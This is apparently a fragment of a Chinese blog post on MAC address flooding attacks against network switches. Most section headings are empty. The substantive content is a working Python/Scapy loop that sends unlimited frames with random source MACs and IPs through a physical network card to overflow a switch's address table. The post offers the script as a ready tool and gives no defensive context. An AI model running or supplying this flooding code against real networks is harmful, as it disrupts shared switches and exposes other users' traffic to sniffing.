目录
一、交换机的工作过程

二、基本的攻击原理

三、Python代码
# MAC地址泛洪
def mac_flood():
while True:
#随机MAC
randmac=RandMAC("*:*:*:*:*:*")
print(randmac)
#随机IP
srandip=f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
drandip=f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
print(srandip)
#构造数据包 发送给虚拟机
packet=Ether(src=randmac,dst=randmac)/IP(src=srandip,dst=drandip) # 随机链路层
# sendp(packet,iface='VMware Virtual Ethernet Adapter for VMnet8',loop=0) #sendp发送二层数据包 send发3、4层
# 通过物理网卡发给交换机(如果连上交换机的情况下)
sendp(packet,iface='Realtek PCIe GbE Family Controller',loop=0) # show_interfaces()查看网卡名称iface
四、混杂模式



1518

被折叠的 条评论
为什么被折叠?



